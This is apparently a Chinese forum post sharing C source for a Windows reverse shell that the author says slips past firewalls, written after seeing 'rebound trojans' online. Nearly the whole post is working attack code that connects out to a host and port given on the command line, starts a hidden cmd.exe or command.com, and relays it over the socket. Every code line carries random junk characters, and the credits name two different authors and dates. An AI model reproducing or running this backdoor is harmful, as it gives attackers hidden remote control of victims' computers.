这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 --K)7
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/* ============================== 5/=$p:E>
Rebound port in Windows NT ';tlV
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By wind,2006/7 n<.7tr0f\
===============================*/ /)ZjI
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#include ZnEgU}g<2
#include (Q*q#U
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#pragma comment(lib,"wsock32.lib") )|~&(+Q?]
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void OutputShell(); B\J[O5},
SOCKET sClient; j&8YE7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6}^x#9\
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void main(int argc,char **argv) p&(0e,`z/
{ -9b=-K.y
WSADATA stWsaData; 1bFZyD"
int nRet; \p4*Q}t
SOCKADDR_IN stSaiClient,stSaiServer; cNWmaCLN$
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if(argc != 3) w2s`9
{ WLUgiW(0$
printf("Useage:\n\rRebound DestIP DestPort\n"); U%h.l
return; h/Mt<5
} TO6F
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WSAStartup(MAKEWORD(2,2),&stWsaData); QVT0.GzR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2{ F-@}=
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stSaiClient.sin_family = AF_INET; LJeq{Z
stSaiClient.sin_port = htons(0); #{6VdWZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xWxHi6U(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LIDi0jbrq
{ A;co1,]gR
printf("Bind Socket Failed!\n"); -H60T,o
return; G*=HjLmZg
} !VD$uT
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stSaiServer.sin_family = AF_INET; 6tH}K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~VsN\! G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w7MRuAJ4
x1@,k=qrd
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >WZ.Dj0n
{ F 'uqL+jVO
printf("Connect Error!"); :` SIuu~@
return; 4@{;z4*`
} D$FTnY
OutputShell(); H:G``Vq;0m
} D <iG*I
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void OutputShell() nAP*w6m0j
{ K_MEd1l
char szBuff[1024]; g2f"tu_/%
SECURITY_ATTRIBUTES stSecurityAttributes; {QEvc
OSVERSIONINFO stOsversionInfo; +Z"Wa0wA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dpW`e>o
STARTUPINFO stStartupInfo; upMs yLp(
char *szShell; )u(,.O[cw
PROCESS_INFORMATION stProcessInformation; jZ~girA
unsigned long lBytesRead; [vr"FLM|9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M(>74(}]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3ML^ dZ'
stSecurityAttributes.lpSecurityDescriptor = 0; M&iXdw&
stSecurityAttributes.bInheritHandle = TRUE; X!hzpg(`hR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gPn0-)<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X}GX6qAdt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xjp0w7L)J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %|4Kak]:Q
stStartupInfo.wShowWindow = SW_HIDE; (%6fZ
stStartupInfo.hStdInput = hReadPipe; )7NK+k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c6b51)sQ"
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GetVersionEx(&stOsversionInfo); `{ Ox=+]M
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switch(stOsversionInfo.dwPlatformId) 7oC8ID
{ ]R~hzo
case 1: e=##X}4zZ
szShell = "command.com"; /{j._4c
break; kP5I+B
default: 7Ws88Qs)
szShell = "cmd.exe"; `j{q
break; y /vc\e
} ,]t_9B QK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JV,h1/a("
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send(sClient,szMsg,77,0); 3Z~_6P^
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while(1) ;Mmu}
{ 1Y"9<ry
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (-J'x%2)
if(lBytesRead) *|q{(KX
{ K:13t|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~zZOogM<
send(sClient,szBuff,lBytesRead,0); g'!"klS93
} $J<WFDn9
else F7<u1Rx]
{ ES^JRX
lBytesRead=recv(sClient,szBuff,1024,0); hKg +A
if(lBytesRead<=0) break; @[v,q_^8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;I@\}!%H
} x4 4V
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} Q e/XEW
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return; J(8?6&=ck
}